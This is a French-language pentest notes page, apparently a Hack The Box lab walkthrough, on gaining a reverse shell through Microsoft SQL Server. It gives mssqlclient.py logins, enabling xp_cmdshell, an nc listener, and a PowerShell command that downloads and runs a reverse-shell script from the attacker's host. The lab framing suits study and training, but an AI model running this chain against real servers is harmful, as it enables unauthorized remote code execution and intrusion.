> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/ports-and-services/mssql-1433/mssql-exploitation-rce.md).
# Exploitation RCE MSSQL
Exécution de commandes à distance MSSQL via mssqlclient.py, xp\_cmdshell, charges utiles PowerShell hébergées et shells inversés.
## Exploitation MSSQL (Microsoft SQL)
**Port 1433 (MSSQL)**
Le port 1433 est ouvert, ce qui indique qu’un serveur Microsoft SQL écoute. Testez l’accès avec les utilisateurs récupérés lors de l’énumération.
**Test de connexion MSSQL**
Utilisez `mssqlclient.py` pour essayer de se connecter :
```powershell
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```
**Résultat**: Seul le `sa` utilisateur fonctionne.
```powershell
mssqlclient.py sequel.htb/sa@10.10.11.51
```
### Shell inversé via MSSQL
**Activer l’exécution de commandes**
Pour exécuter des commandes système, activez `xp_cmdshell`:
```sql
enable_xp_cmdshell
```
Puis testez avec une commande simple, comme `ipconfig`:
```sql
xp_cmdshell ipconfig
```
**Préparation à l’écoute sur notre machine**
Démarrez un écouteur sur le port 4444 :
```bash
rlwrap nc -nvlp 4444
```
**Téléchargement d’un script PowerShell**
Préparez un script PowerShell nommé `PS.ps1` qui inclut une fonction de shell inversé :
{% embed url="" %}
À la fin du script, ajoutez la ligne suivante :
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```
Hébergez ce script sur un serveur web local :
```bash
python3 -m http.server 80
```
**Exécution du shell inversé**
Depuis le serveur MSSQL, exécutez la commande suivante pour télécharger et exécuter le script PowerShell :
```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```
---
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